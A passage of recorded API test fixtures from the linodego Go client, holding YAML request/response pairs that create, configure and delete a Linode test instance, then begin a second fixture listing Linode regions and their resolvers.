"maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-8b7su5ip013i","firewall_id":692854,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874261, "label": "go-test-ins-wo-disk-8b7su5ip013i", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.65"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "d946738609b866787b882e81aabef414a072050a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "805" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-02s7ibqa563x","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874261/configs method: POST response: body: '{"id": 65094719, "label": "go-test-conf-02s7ibqa563x", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-conf-test-n336lgja8h93","comments":"","devices":{},"interfaces":null,"memory_limit":0,"init_rd":null,"root_device":"/dev/root"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874261/configs/65094719 method: PUT response: body: '{"id": 65094719, "label": "go-conf-test-n336lgja8h93", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/root", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "541" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874261 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Configs_List.yaml000066400000000000000000001053611474652371000325250ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 